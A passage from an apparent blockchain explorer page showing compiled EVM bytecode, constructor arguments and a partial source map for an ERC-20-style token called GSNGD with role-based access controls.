ffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b5f801b81565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610a8890612623565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab490612623565b8015610aff5780601f10610ad657610100808354040283529160200191610aff565b820191905f5260205f20905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b7f4f50494f4e53540000000000000000000000000000000000000000000000000081565b5f80610b3761112d565b9050610b448185856111d8565b600191505092915050565b5f801b610b5b81610ee6565b5f801b8303610b6c57816003819055505b505050565b5f801b610b7d81610ee6565b5f801b8303610bdb5760015f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b610be982610899565b610bf281610ee6565b610bfc83836113b2565b50505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c929190612738565b9050919050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610d2781610ee6565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612792565b60ff1690505f5b85518160ff161015610e74575f82600a610dba91906128ec565b86610dc59190612936565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610df957610df8612977565b5b6020026020010151836040518363ffffffff1660e01b8152600401610e1f929190612662565b6020604051808303815f875af1158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f91906126b3565b50508080610e6c906129a4565b915050610da0565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b610ef781610ef261112d565b61149c565b50565b5f805f5b8351811015610ffd575f6030858381518110610f1d57610f1c612977565b5b602001015160f81c60f81b60f81c610f3591906129cc565b60ff161080610f73575060096030858381518110610f5657610f55612977565b5b602001015160f81c60f81b60f81c610f6e91906129cc565b60ff16115b15610f84575f809250925050611006565b6001818551610f939190612a00565b610f9d9190612a00565b600a610fa991906128ec565b6030858381518110610fbe57610fbd612977565b5b602001015160f81c60f81b60f81c610fd691906129cc565b60ff16610fe39190612936565b83610fee9190612a33565b92508080600101915050610efe565b50816001915091505b915091565b80156110a857670de0b6b3a7640000826110259190612936565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611128565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f33905090565b61114183838360016114ed565b505050565b5f6111518484610c99565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111d257818110156111c3578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016111ba93929190612a66565b60405180910390fd5b6111d184848484035f6114ed565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161123f9190612a9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b8575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016112af9190612a9b565b60405180910390fd5b6112c38383836116c6565b505050565b5f6112d38383610a15565b6113a857600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061134561112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506113ac565b5f90505b92915050565b5f6113bd8383610a15565b15611492575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061142f61112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611496565b5f90505b92915050565b6114a68282610a15565b6114e95780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016114e0929190612ab4565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361155d575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016115549190612a9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cd575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016115c49190612a9b565b60405180910390fd5b6115d784846118ed565b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156116c0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516116b791906122f1565b60405180910390a35b50505050565b6116d183838361195e565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611721578060075f8282546117159190612a33565b925050819055506117f1565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156117ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016117a293929190612a66565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611838578060075f8282540392505081905550611883565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118e091906122f1565b60405180910390a3505050565b6118f6826119d1565b61195a57600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361195957611957826119f3565b505b5b5050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119c1576119bc8282611a92565b6119cc565b6119cb8382611b74565b5b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f603c6003541115611a8a575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611a8957816040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611a809190612a9b565b60405180910390fd5b5b5f9050919050565b5f81118015611aa65750611aa5826119d1565b5b15611b70575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b2d57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b6f57816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611b669190612a9b565b60405180910390fd5b5b5050565b611b805f801b83610a15565b611c79575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611c78575f6003541115611c77575f81611be684611c7d565b611bf09190612a33565b90505f611bfc84611d01565b1115611c75575f811115611c7457611c1383611d01565b8111158015611c2157505f82115b15611c3657611c3183825f611d84565b611c73565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611c6a9190612a9b565b60405180910390fd5b5b5b505b5b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015611e2257670de0b6b3a764000082611d9e9190612936565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea3565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eed81611eb9565b8114611ef7575f80fd5b50565b5f81359050611f0881611ee4565b92915050565b5f60208284031215611f2357611f22611eb1565b5b5f611f3084828501611efa565b91505092915050565b5f8115159050919050565b611f4d81611f39565b82525050565b5f602082019050611f665f830184611f44565b92915050565b5f819050919050565b611f7e81611f6c565b8114611f88575f80fd5b50565b5f81359050611f9981611f75565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fc882611f9f565b9050919050565b611fd881611fbe565b8114611fe2575f80fd5b50565b5f81359050611ff381611fcf565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61204782612001565b810181811067ffffffffffffffff8211171561206657612065612011565b5b80604052505050565b5f612078611ea8565b9050612084828261203e565b919050565b5f67ffffffffffffffff8211156120a3576120a2612011565b5b6120ac82612001565b9050602081019050919050565b828183375f83830152505050565b5f6120d96120d484612089565b61206f565b9050828152602081018484840111156120f5576120f4611ffd565b5b6121008482856120b9565b509392505050565b5f82601f83011261211c5761211b611ff9565b5b813561212c8482602086016120c7565b91505092915050565b5f805f6060848603121561214c5761214b611eb1565b5b5f61215986828701611f8b565b935050602061216a86828701611fe5565b925050604084013567ffffffffffffffff81111561218b5761218a611eb5565b5b61219786828701612108565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f6121d3826121a1565b6121dd81856121ab565b93506121ed8185602086016121bb565b6121f681612001565b840191505092915050565b5f6020820190508181035f83015261221981846121c9565b905092915050565b5f819050919050565b61223381612221565b811461223d575f80fd5b50565b5f8135905061224e8161222a565b92915050565b5f805f6060848603121561226b5761226a611eb1565b5b5f61227886828701611f8b565b935050602061228986828701611fe5565b925050604061229a86828701612240565b9150509250925092565b5f80604083850312156122ba576122b9611eb1565b5b5f6122c785828601611fe5565b92505060206122d885828601612240565b9150509250929050565b6122eb81612221565b82525050565b5f6020820190506123045f8301846122e2565b92915050565b5f6020828403121561231f5761231e611eb1565b5b5f61232c84828501611fe5565b91505092915050565b5f805f6060848603121561234c5761234b611eb1565b5b5f61235986828701611fe5565b935050602061236a86828701611fe5565b925050604061237b86828701612240565b9150509250925092565b5f6020828403121561239a57612399611eb1565b5b5f6123a784828501611f8b565b91505092915050565b6123b981611f6c565b82525050565b5f6020820190506123d25f8301846123b0565b92915050565b5f80604083850312156123ee576123ed611eb1565b5b5f6123fb85828601611f8b565b925050602061240c85828601611fe5565b9150509250929050565b5f60ff82169050919050565b61242b81612416565b82525050565b5f6020820190506124445f830184612422565b92915050565b5f80604083850312156124605761245f611eb1565b5b5f61246d85828601611f8b565b925050602061247e85828601612240565b9150509250929050565b5f806040838503121561249e5761249d611eb1565b5b5f6124ab85828601611fe5565b92505060206124bc85828601611fe5565b9150509250929050565b5f67ffffffffffffffff8211156124e0576124df612011565b5b602082029050602081019050919050565b5f80fd5b5f612507612502846124c6565b61206f565b9050808382526020820190506020840283018581111561252a576125296124f1565b5b835b81811015612553578061253f8882611fe5565b84526020840193505060208101905061252c565b5050509392505050565b5f82601f83011261257157612570611ff9565b5b81356125818482602086016124f5565b91505092915050565b5f805f606084860312156125a1576125a0611eb1565b5b5f6125ae86828701611fe5565b935050602084013567ffffffffffffffff8111156125cf576125ce611eb5565b5b6125db8682870161255d565b92505060406125ec86828701612240565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061263a57607f821691505b60208210810361264d5761264c6125f6565b5b50919050565b61265c81611fbe565b82525050565b5f6040820190506126755f830185612653565b61268260208301846122e2565b9392505050565b61269281611f39565b811461269c575f80fd5b50565b5f815190506126ad81612689565b92915050565b5f602082840312156126c8576126c7611eb1565b5b5f6126d58482850161269f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61274282612221565b915061274d83612221565b92508261275d5761275c6126de565b5b828204905092915050565b61277181612416565b811461277b575f80fd5b50565b5f8151905061278c81612768565b92915050565b5f602082840312156127a7576127a6611eb1565b5b5f6127b48482850161277e565b91505092915050565b5f8160011c9050919050565b5f808291508390505b6001851115612812578086048111156127ee576127ed61270b565b5b60018516156127fd5780820291505b808102905061280b856127bd565b94506127d2565b94509492505050565b5f8261282a57600190506128e5565b81612837575f90506128e5565b816001811461284d576002811461285757612886565b60019150506128e5565b60ff8411156128695761286861270b565b5b8360020a9150848211156128805761287f61270b565b5b506128e5565b5060208310610133831016604e8410600b84101617156128bb5782820a9050838111156128b6576128b561270b565b5b6128e5565b6128c884848460016127c9565b925090508184048111156128df576128de61270b565b5b81810290505b9392505050565b5f6128f682612221565b915061290183612221565b925061292e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281b565b905092915050565b5f61294082612221565b915061294b83612221565b925082820261295981612221565b915082820484148315176129705761296f61270b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129ae82612416565b915060ff82036129c1576129c061270b565b5b600182019050919050565b5f6129d682612416565b91506129e183612416565b9250828203905060ff8111156129fa576129f961270b565b5b92915050565b5f612a0a82612221565b9150612a1583612221565b9250828203905081811115612a2d57612a2c61270b565b5b92915050565b5f612a3d82612221565b9150612a4883612221565b9250828201905080821115612a6057612a5f61270b565b5b92915050565b5f606082019050612a795f830186612653565b612a8660208301856122e2565b612a9360408301846122e2565b949350505050565b5f602082019050612aae5f830184612653565b92915050565b5f604082019050612ac75f830185612653565b612ad460208301846123b0565b939250505056fea264697066735822122095b041252203ce1d7a5d64a0a4b69d7dc393477bfed59732d7657c8bb82cd05364736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c36695000000000000000000000000000000000000000000000000000000000000000547534e4744000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000547534e4744000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): GSNGD
Arg [1] : _symbol (string): GSNGD
Arg [2] : value (uint256): 100000000
Arg [3] : account (address): 0x7D70FE31Ef3BA80c877E18f491ddd7B210c36695

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c36695
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 47534e4744000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 47534e4744000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

23046:596:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10985:280;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11782:453;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16513:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13857:310;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17421:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16807:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12666:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9517:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17651:283;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14175:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14305:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16715:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14663:272;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16914:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13104:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10793:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11273:179;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16612:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10843:46;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17040:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12243:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12932:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14483:172;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12799:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17230:183;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22621:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10985:280;11115:4;11172:32;11157:47;;;:11;:47;;;;:100;;;;11221:36;11245:11;11221:23;:36::i;:::-;11157:100;11137:120;;10985:280;;;:::o;11782:453::-;10830:4;11885:10;;10941:16;10952:4;10941:10;:16::i;:::-;11915::::1;11942:8:::0;11979:23:::1;11997:4;11979:17;:23::i;:::-;11961:41;;;;;;;;12024:5;12017:12;;:3;:12;;::::0;12013:82:::1;;12053:30;;;;;;;;;;;;;;12013:82;12120:1;12108:8;:13;;:35;;;;;12133:10;12125:4;:18;12108:35;12105:113;;;12159:33;12168:7;12177:8;12187:4;12159:8;:33::i;:::-;12105:113;11902:333;;11782:453:::0;;;;:::o;16513:91::-;16558:13;16591:5;16584:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16513:91;:::o;13857:310::-;13988:12;10830:4;13967:10;;10941:16;10952:4;10941:10;:16::i;:::-;10830:4:::1;14024:10:::0;::::1;14016:4;:18:::0;14013:137:::1;;14064:4;14057:21;;;14079:10;14091:3;14057:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14050:45;;;;14013:137;14133:5;14126:12;;10968:1;13857:310:::0;;;;;;:::o;17421:222::-;17521:4;17543:13;17559:12;:10;:12::i;:::-;17543:28;;17582:31;17591:5;17598:7;17607:5;17582:8;:31::i;:::-;17631:4;17624:11;;;17421:222;;;;:::o;16807:99::-;16859:7;16886:12;;16879:19;;16807:99;:::o;12666:125::-;12723:7;12777:6;12750:5;:14;12756:7;12750:14;;;;;;;;;;;;;;;:17;;:26;12768:7;12750:26;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;12743:40;;12666:125;;;:::o;9517:22::-;;;;:::o;17651:283::-;17772:4;17789:15;17807:12;:10;:12::i;:::-;17789:30;;17830:37;17846:4;17852:7;17861:5;17830:15;:37::i;:::-;17878:26;17888:4;17894:2;17898:5;17878:9;:26::i;:::-;17922:4;17915:11;;;17651:283;;;;;:::o;14175:122::-;14240:7;14267:6;:12;14274:4;14267:12;;;;;;;;;;;:22;;;14260:29;;14175:122;;;:::o;14305:170::-;14406:18;14419:4;14406:12;:18::i;:::-;10941:16;10952:4;10941:10;:16::i;:::-;14442:25:::1;14453:4;14459:7;14442:10;:25::i;:::-;;14305:170:::0;;;:::o;16715:84::-;16764:5;16789:2;16782:9;;16715:84;:::o;14663:272::-;14802:12;:10;:12::i;:::-;14780:34;;:18;:34;;;14776:104;;14838:30;;;;;;;;;;;;;;14776:104;14890:37;14902:4;14908:18;14890:11;:37::i;:::-;;14663:272;;:::o;16914:118::-;16979:7;17006:9;:18;17016:7;17006:18;;;;;;;;;;;;;;;;16999:25;;16914:118;;;:::o;13104:175::-;10830:4;13169:10;;10941:16;10952:4;10941:10;:16::i;:::-;10830:4:::1;13203:10:::0;::::1;13195:4;:18:::0;13192:70:::1;;13245:5;13229:7:::0;:13:::1;13237:4;13229:13;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13192:70;13104:175:::0;;;:::o;10793:41::-;10830:4;10793:41;;;:::o;11273:179::-;11386:4;11415:6;:12;11422:4;11415:12;;;;;;;;;;;:20;;:29;11436:7;11415:29;;;;;;;;;;;;;;;;;;;;;;;;;11408:36;;11273:179;;;;:::o;16612:95::-;16659:13;16692:7;16685:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16612:95;:::o;10843:46::-;;;:::o;17040:182::-;17109:4;17126:13;17142:12;:10;:12::i;:::-;17126:28;;17165:27;17175:5;17182:2;17186:5;17165:9;:27::i;:::-;17210:4;17203:11;;;17040:182;;;;:::o;12243:157::-;10830:4;12305:10;;10941:16;10952:4;10941:10;:16::i;:::-;10830:4:::1;12339:10:::0;::::1;12331:4;:18:::0;12328:65:::1;;12375:6;12365:7;:16;;;;12328:65;12243:157:::0;;;:::o;12932:164::-;10830:4;12997:10;;10941:16;10952:4;10941:10;:16::i;:::-;10830:4:::1;13031:10:::0;::::1;13023:4;:18:::0;13020:69:::1;;13073:4;13057:7;:13:::0;13065:4:::1;13057:13;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;13020:69;12932:164:::0;;;:::o;14483:172::-;14585:18;14598:4;14585:12;:18::i;:::-;10941:16;10952:4;10941:10;:16::i;:::-;14621:26:::1;14633:4;14639:7;14621:11;:26::i;:::-;;14483:172:::0;;;:::o;12799:125::-;12856:7;12910:6;12883:5;:14;12889:7;12883:14;;;;;;;;;;;;;;;:17;;:26;12901:7;12883:26;;;;;;;;;;;;;;;;:33;;;;:::i;:::-;12876:40;;12799:125;;;:::o;17230:183::-;17346:7;17378:11;:18;17390:5;17378:18;;;;;;;;;;;;;;;:27;17397:7;17378:27;;;;;;;;;;;;;;;;17371:34;;17230:183;;;;:::o;22621:414::-;10830:4;22750:10;;10941:16;10952:4;10941:10;:16::i;:::-;22773:14:::1;22796:6;22773:30;;22814:20;22837:8;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22814:42;;;;22872:7;22867:161;22889:8;:15;22885:1;:19;;;22867:161;;;22926:12;22953;22949:2;:16;;;;:::i;:::-;22941:5;:24;;;;:::i;:::-;22926:39;;22980:8;:17;;;22998:8;23007:1;22998:11;;;;;;;;;;:::i;:::-;;;;;;;;23011:4;22980:36;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;22911:117;22906:3;;;;;:::i;:::-;;;;22867:161;;;;22762:273;;22621:414:::0;;;;:::o;6633:189::-;6745:4;6789:25;6774:40;;;:11;:40;;;;6767:47;;6633:189;;;:::o;11460:105::-;11527:30;11538:4;11544:12;:10;:12::i;:::-;11527:10;:30::i;:::-;11460:105;:::o;10028:521::-;10106:11;10119:8;10145:9;10140:371;10170:4;10164:18;10160:1;:22;10140:371;;;10257:1;10251:2;10239:4;10245:1;10233:14;;;;;;;;:::i;:::-;;;;;;;;;;10227:21;;:26;;;;:::i;:::-;10226:32;;;:85;;;;10310:1;10304:2;10292:4;10298:1;10286:14;;;;;;;;:::i;:::-;;;;;;;;;;10280:21;;:26;;;;:::i;:::-;10279:32;;;10226:85;10204:175;;;10354:1;10357:5;10346:17;;;;;;;10204:175;10497:1;10493;10478:4;10472:18;:22;;;;:::i;:::-;:26;;;;:::i;:::-;10465:2;:34;;;;:::i;:::-;10442:2;10430:4;10436:1;10424:14;;;;;;;;:::i;:::-;;;;;;;;;;10418:21;;:26;;;;:::i;:::-;10417:82;;;;;;:::i;:::-;10393:106;;;;;:::i;:::-;;;10184:3;;;;;;;10140:371;;;;10531:3;10536:4;10523:18;;;;10028:521;;;;:::o;13287:277::-;13411:9;13407:150;;;13472:6;13466:5;:12;;;;:::i;:::-;13437:5;:14;13443:7;13437:14;;;;;;;;;;;;;;;:17;;:26;13455:7;13437:26;;;;;;;;;;;;;;;:41;;;;13407:150;;;13540:5;13511;:14;13517:7;13511:14;;;;;;;;;;;;;;;:17;;:26;13529:7;13511:26;;;;;;;;;;;;;;;:34;;;;13407:150;13287:277;;;:::o;9548:98::-;9601:7;9628:10;9621:17;;9548:98;:::o;20800:164::-;20919:37;20928:5;20935:7;20944:5;20951:4;20919:8;:37::i;:::-;20800:164;;;:::o;22010:603::-;22144:24;22171:25;22181:5;22188:7;22171:9;:25::i;:::-;22144:52;;22231:17;22211:16;:37;22207:399;;22288:5;22269:16;:24;22265:214;;;22370:7;22400:16;22439:5;22321:142;;;;;;;;;;;;;:::i;:::-;;;;;;;;22265:214;22522:57;22531:5;22538:7;22566:5;22547:16;:24;22573:5;22522:8;:57::i;:::-;22207:399;22133:480;22010:603;;;:::o;17942:342::-;18076:1;18060:18;;:4;:18;;;18056:88;;18129:1;18102:30;;;;;;;;;;;:::i;:::-;;;;;;;;18056:88;18172:1;18158:16;;:2;:16;;;18154:88;;18227:1;18198:32;;;;;;;;;;;:::i;:::-;;;;;;;;18154:88;18252:24;18260:4;18266:2;18270:5;18252:7;:24::i;:::-;17942:342;;;:::o;15202:356::-;15306:4;15333:22;15341:4;15347:7;15333;:22::i;:::-;15328:223;;15404:4;15372:6;:12;15379:4;15372:12;;;;;;;;;;;:20;;:29;15393:7;15372:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;15455:12;:10;:12::i;:::-;15428:40;;15446:7;15428:40;;15440:4;15428:40;;;;;;;;;;15490:4;15483:11;;;;15328:223;15534:5;15527:12;;15202:356;;;;;:::o;15566:357::-;15671:4;15697:22;15705:4;15711:7;15697;:22::i;:::-;15693:223;;;15768:5;15736:6;:12;15743:4;15736:12;;;;;;;;;;;:20;;:29;15757:7;15736:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;15820:12;:10;:12::i;:::-;15793:40;;15811:7;15793:40;;15805:4;15793:40;;;;;;;;;;15855:4;15848:11;;;;15693:223;15899:5;15892:12;;15566:357;;;;;:::o;11573:201::-;11662:22;11670:4;11676:7;11662;:22::i;:::-;11657:110;;11741:7;11750:4;11708:47;;;;;;;;;;;;:::i;:::-;;;;;;;;11657:110;11573:201;;:::o;20972:523::-;21145:1;21128:19;;:5;:19;;;21124:91;;21200:1;21171:32;;;;;;;;;;;:::i;:::-;;;;;;;;21124:91;21248:1